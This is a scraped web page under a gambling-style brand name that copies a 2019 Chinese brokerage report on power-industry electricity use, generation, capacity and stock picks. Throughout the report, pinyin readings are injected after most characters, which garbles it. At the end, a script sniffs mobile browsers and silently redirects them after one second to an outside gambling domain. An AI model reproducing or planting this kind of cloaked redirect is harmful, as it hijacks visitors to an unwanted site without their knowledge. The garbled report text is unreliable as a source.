ag8九游会

ag8九游会

Information Centre

电力行业动态跟踪报告:二产回暖推升用电增速,水、核延续高发势头

2019-05-15

电力行业动态跟踪报告:二产回暖推升用电增速,水、核延续高发势头

 2019年04月(yue)23日 00:00 平安证(zheng)券 严(yan)家源 

   




名称相关涨跌幅
 10.02%
 3.95%
 3.83%
 3.80%

    

投资要点

2019年(nian)一(yi)(yi)季(ji)度(du)全(quan)(quan)国电力工业生产(chan)简(jian)况:3月份,全(quan)(quan)社会用电量(liang)5732亿千(qian)(qian)瓦(wa)时(shi)(shi),同(tong)(tong)(tong)(tong)比(bi)增长(zhang)(zhang)7.5%,比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期提(ti)高3.9个(ge)百(bai)分点;全(quan)(quan)国规模(mo)(mo)以上(shang)(shang)(shang)(shang)电厂(chang)发电量(liang)5698亿千(qian)(qian)瓦(wa)时(shi)(shi),同(tong)(tong)(tong)(tong)比(bi)增长(zhang)(zhang)5.4%,比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期提(ti)高3.3个(ge)百(bai)分点。一(yi)(yi)季(ji)度(du),全(quan)(quan)社会用电量(liang)16795亿千(qian)(qian)瓦(wa)时(shi)(shi),同(tong)(tong)(tong)(tong)比(bi)增长(zhang)(zhang)5.5%,比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期回(hui)落4.3个(ge)百(bai)分点;全(quan)(quan)国规模(mo)(mo)以上(shang)(shang)(shang)(shang)电厂(chang)发电量(liang)16747亿千(qian)(qian)瓦(wa)时(shi)(shi),同(tong)(tong)(tong)(tong)比(bi)增长(zhang)(zhang)4.2%,比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期回(hui)落3.8个(ge)百(bai)分点;累计平均利用小(xiao)时(shi)(shi)919小(xiao)时(shi)(shi),比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期降(jiang)低3小(xiao)时(shi)(shi)。截至(zhi)3月底,全(quan)(quan)国装机容量(liang)18.15亿千(qian)(qian)瓦(wa),同(tong)(tong)(tong)(tong)比(bi)增长(zhang)(zhang)5.9%,比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期回(hui)落0.2个(ge)百(bai)分点;一(yi)(yi)季(ji)度(du)全(quan)(quan)国发电新增装机容量(liang)1788万(wan)千(qian)(qian)瓦(wa),比(bi)上(shang)(shang)(shang)(shang)年(nian)同(tong)(tong)(tong)(tong)期少投产(chan)716万(wan)千(qian)(qian)瓦(wa)。

用(yong)(yong)(yong)电(dian)量(liang):二产回(hui)(hui)(hui)(hui)(hui)暖(nuan),东(dong)部沿(yan)海(hai)(hai)回(hui)(hui)(hui)(hui)(hui)升明显。3月份(fen)(fen),一(yi)产用(yong)(yong)(yong)电(dian)量(liang)同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)3.9%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)2.0个百(bai)(bai)(bai)分(fen)点(dian)(dian);二产同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)6.3%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)提高7.9个百(bai)(bai)(bai)分(fen)点(dian)(dian);三产同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)9.9%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)11.2个百(bai)(bai)(bai)分(fen)点(dian)(dian);城乡居民(min)生活用(yong)(yong)(yong)电(dian)同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)10.6%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)1.9个百(bai)(bai)(bai)分(fen)点(dian)(dian)。一(yi)季(ji)度,一(yi)产用(yong)(yong)(yong)电(dian)量(liang)同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)6.8%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)3.5个百(bai)(bai)(bai)分(fen)点(dian)(dian);二产同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)3.0%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)3.7个百(bai)(bai)(bai)分(fen)点(dian)(dian);三产同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)10.1%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)6.6个百(bai)(bai)(bai)分(fen)点(dian)(dian);城乡居民(min)生活用(yong)(yong)(yong)电(dian)同(tong)(tong)(tong)(tong)比(bi)(bi)增(zeng)(zeng)长(zhang)11.0%,比(bi)(bi)上(shang)年(nian)(nian)(nian)同(tong)(tong)(tong)(tong)期(qi)(qi)回(hui)(hui)(hui)(hui)(hui)落(luo)(luo)6.2个百(bai)(bai)(bai)分(fen)点(dian)(dian)。值得注(zhu)意的(de)(de)是,东(dong)部沿(yan)海(hai)(hai)地区中的(de)(de)广东(dong)、浙(zhe)江(jiang)、福建三省在3月份(fen)(fen)的(de)(de)用(yong)(yong)(yong)电(dian)增(zeng)(zeng)速明显回(hui)(hui)(hui)(hui)(hui)升,尤(you)其(qi)浙(zhe)江(jiang)一(yi)季(ji)度的(de)(de)用(yong)(yong)(yong)电(dian)增(zeng)(zeng)速已经(jing)回(hui)(hui)(hui)(hui)(hui)升至全国平均水平之上(shang),释放出国内经(jing)济企稳回(hui)(hui)(hui)(hui)(hui)升的(de)(de)信号。

发电(dian)(dian)(dian)量:水(shui)、核(he)(he)延续高(gao)发势(shi)头,电(dian)(dian)(dian)源(yuan)重(zhong)心(xin)同(tong)(tong)(tong)(tong)(tong)步转移。3月份,水(shui)电(dian)(dian)(dian)发电(dian)(dian)(dian)量同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)22.0%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)提高(gao)27.3个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian);火(huo)电(dian)(dian)(dian)同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)1.0%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)回(hui)落(luo)0.4个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian);核(he)(he)电(dian)(dian)(dian)同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)31.7%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)提高(gao)30.0个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian);风电(dian)(dian)(dian)同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)13.1%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)回(hui)落(luo)23.7个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian)。一(yi)季度,水(shui)电(dian)(dian)(dian)发电(dian)(dian)(dian)量同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)12.0%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)提高(gao)9.4个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian);火(huo)电(dian)(dian)(dian)同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)2.0%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)回(hui)落(luo)4.9个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian);核(he)(he)电(dian)(dian)(dian)同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)26.1%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)提高(gao)14.5个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian);风电(dian)(dian)(dian)同(tong)(tong)(tong)(tong)(tong)比增长(zhang)(zhang)6.1%,比上(shang)(shang)(shang)年同(tong)(tong)(tong)(tong)(tong)期(qi)回(hui)落(luo)33.0个(ge)(ge)(ge)(ge)百(bai)分(fen)点(dian)。伴随(sui)着产(chan)业转移推升本地用电(dian)(dian)(dian)需求、以及跨省跨区送电(dian)(dian)(dian)消(xiao)纳清洁能源(yuan),电(dian)(dian)(dian)源(yuan)重(zhong)心(xin)也在同(tong)(tong)(tong)(tong)(tong)步向中(zhong)西部转移。

利用小(xiao)时(shi)(shi):水电(dian)大增(zeng)。一(yi)季度,水电(dian)利用小(xiao)时(shi)(shi)691小(xiao)时(shi)(shi),比上年同期(qi)(qi)增(zeng)加74小(xiao)时(shi)(shi);火电(dian)1083小(xiao)时(shi)(shi),比上年同期(qi)(qi)减(jian)少(shao)6小(xiao)时(shi)(shi);核电(dian)1655小(xiao)时(shi)(shi),比上年同期(qi)(qi)减(jian)少(shao)35小(xiao)时(shi)(shi);风(feng)电(dian)556小(xiao)时(shi)(shi),比上年同期(qi)(qi)减(jian)少(shao)36小(xiao)时(shi)(shi)。

装(zhuang)机(ji)容(rong)量:水(shui)、火新增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)趋(qu)缓,核(he)电提升显著。截至(zhi)3月底,水(shui)电装(zhuang)机(ji)容(rong)量同(tong)比(bi)(bi)(bi)增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)长2.5%,比(bi)(bi)(bi)上(shang)年(nian)同(tong)期(qi)回落(luo)0.5个百(bai)分(fen)(fen)点(dian)(dian);火电同(tong)比(bi)(bi)(bi)增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)长3.3%,比(bi)(bi)(bi)上(shang)年(nian)同(tong)期(qi)回落(luo)0.4个百(bai)分(fen)(fen)点(dian)(dian);核(he)电同(tong)比(bi)(bi)(bi)增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)长24.3%,比(bi)(bi)(bi)上(shang)年(nian)同(tong)期(qi)增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)加17.9个百(bai)分(fen)(fen)点(dian)(dian);风电同(tong)比(bi)(bi)(bi)增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)长12.7%,比(bi)(bi)(bi)上(shang)年(nian)同(tong)期(qi)增(zeng)(zeng)(zeng)(zeng)(zeng)(zeng)加2.5个百(bai)分(fen)(fen)点(dian)(dian)。

投(tou)资建(jian)议(yi):3月(yue)份(fen)(fen)全社会(hui)用电(dian)(dian)(dian)(dian)(dian)(dian)量同(tong)比增(zeng)(zeng)长(zhang)7.5%、全国(guo)发电(dian)(dian)(dian)(dian)(dian)(dian)量同(tong)比增(zeng)(zeng)长(zhang)5.4%,均优(you)于上(shang)(shang)年同(tong)期。主要推(tui)(tui)动因素(su)为(wei)二产用电(dian)(dian)(dian)(dian)(dian)(dian)量在(zai)3月(yue)大幅回(hui)暖,同(tong)比增(zeng)(zeng)速达到6.3%;此外,东(dong)部沿(yan)海地(di)区中的(de)(de)(de)广东(dong)、浙(zhe)江(jiang)、福建(jian)三省(sheng)在(zai)3月(yue)份(fen)(fen)的(de)(de)(de)用电(dian)(dian)(dian)(dian)(dian)(dian)增(zeng)(zeng)速明显回(hui)升,尤(you)其浙(zhe)江(jiang)省(sheng)一季度的(de)(de)(de)用电(dian)(dian)(dian)(dian)(dian)(dian)增(zeng)(zeng)速已回(hui)升至全国(guo)平均水(shui)(shui)平之上(shang)(shang)。3月(yue)份(fen)(fen)水(shui)(shui)电(dian)(dian)(dian)(dian)(dian)(dian)、核电(dian)(dian)(dian)(dian)(dian)(dian)的(de)(de)(de)发电(dian)(dian)(dian)(dian)(dian)(dian)量延续(xu)着前(qian)两个月(yue)的(de)(de)(de)高速增(zeng)(zeng)长(zhang)势头(tou),但对火电(dian)(dian)(dian)(dian)(dian)(dian)出力(li)的(de)(de)(de)压制也(ye)在(zai)持续(xu)。水(shui)(shui)电(dian)(dian)(dian)(dian)(dian)(dian)板块(kuai)(kuai)推(tui)(tui)荐水(shui)(shui)火共济、攻守兼备(bei)的(de)(de)(de)国(guo)投(tou)电(dian)(dian)(dian)(dian)(dian)(dian)力(li),以及全球(qiu)水(shui)(shui)电(dian)(dian)(dian)(dian)(dian)(dian)龙头(tou)长(zhang)江(jiang)电(dian)(dian)(dian)(dian)(dian)(dian)力(li),建(jian)议(yi)关注(zhu)(zhu)湖北能(neng)(neng)源、华能(neng)(neng)水(shui)(shui)电(dian)(dian)(dian)(dian)(dian)(dian);核电(dian)(dian)(dian)(dian)(dian)(dian)板块(kuai)(kuai)强烈(lie)推(tui)(tui)荐A股纯核电(dian)(dian)(dian)(dian)(dian)(dian)运营(ying)标的(de)(de)(de)中国(guo)核电(dian)(dian)(dian)(dian)(dian)(dian),推(tui)(tui)荐参股多(duo)个核电(dian)(dian)(dian)(dian)(dian)(dian)项目的(de)(de)(de)浙(zhe)能(neng)(neng)电(dian)(dian)(dian)(dian)(dian)(dian)力(li)、申(shen)能(neng)(neng)股份(fen)(fen),建(jian)议(yi)关注(zhu)(zhu)拟回(hui)归(gui)A股、国(guo)内装机第一的(de)(de)(de)中广核电(dian)(dian)(dian)(dian)(dian)(dian)力(li)(H);火电(dian)(dian)(dian)(dian)(dian)(dian)板块(kuai)(kuai)建(jian)议(yi)关注(zhu)(zhu)全国(guo)龙头(tou)华能(neng)(neng)国(guo)际(ji)、国(guo)电(dian)(dian)(dian)(dian)(dian)(dian)投(tou)旗下上(shang)(shang)海电(dian)(dian)(dian)(dian)(dian)(dian)力(li)。

风险提示:1)利用小时(shi)下降(jiang)。电(dian)力(li)(li)(li)工(gong)业(ye)作为国(guo)(guo)民经济运(yun)(yun)转的(de)(de)支(zhi)柱之一,供(gong)需关(guan)系的(de)(de)变化(hua)在较大程度(du)上(shang)(shang)(shang)受到(dao)宏观(guan)经济运(yun)(yun)行(xing)状态(tai)(tai)的(de)(de)影响,将直接(jie)影响到(dao)发(fa)电(dian)设备的(de)(de)利用小时(shi)数。2)上(shang)(shang)(shang)网电(dian)价(jia)降(jiang)低(di)。下游(you)用户侧降(jiang)低(di)销售电(dian)价(jia)的(de)(de)政策可(ke)能向上(shang)(shang)(shang)游(you)发(fa)电(dian)侧传(chuan)导,导致上(shang)(shang)(shang)网电(dian)价(jia)降(jiang)低(di);随着电(dian)改的(de)(de)推(tui)进(jin),电(dian)力(li)(li)(li)市场化(hua)交易规(gui)模(mo)不(bu)断(duan)扩大,可(ke)能拉低(di)平均上(shang)(shang)(shang)网电(dian)价(jia)。3)煤(mei)(mei)炭(tan)价(jia)格(ge)上(shang)(shang)(shang)升。煤(mei)(mei)炭(tan)优(you)质(zhi)产能的(de)(de)释(shi)放进(jin)度(du)落后(hou),且(qie)环保限产进(jin)一步(bu)压(ya)制(zhi)了(le)煤(mei)(mei)炭(tan)的(de)(de)生(sheng)产和供(gong)应;用电(dian)需求的(de)(de)大幅增长提高(gao)了(le)煤(mei)(mei)炭(tan)生(sheng)厂商及供(gong)应商的(de)(de)议价(jia)能力(li)(li)(li),导致电(dian)煤(mei)(mei)价(jia)格(ge)难(nan)以得(de)到(dao)有效控制(zhi);对于以煤(mei)(mei)机为主的(de)(de)火电(dian)企业(ye),燃料成(cheng)本上(shang)(shang)(shang)升将减少利润。4)政策推(tui)进(jin)滞后(hou)。国(guo)(guo)内(nei)部分地区(qu)的(de)(de)电(dian)力(li)(li)(li)供(gong)需目前(qian)仍处于供(gong)大于求的(de)(de)状态(tai)(tai),可(ke)能影响存量(liang)(liang)核电(dian)机组的(de)(de)电(dian)量(liang)(liang)消纳、以及新建核电(dian)机组的(de)(de)开工(gong)建设。5)降(jiang)水(shui)(shui)量(liang)(liang)减少。水(shui)(shui)电(dian)的(de)(de)经营业(ye)绩主要取(qu)决于来(lai)水(shui)(shui)和消纳情(qing)况,而来(lai)水(shui)(shui)情(qing)况与(yu)降(jiang)水(shui)(shui)、气候等自(zi)然因素相关(guan),可(ke)预测(ce)性不(bu)高(gao)。


返回顶部
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();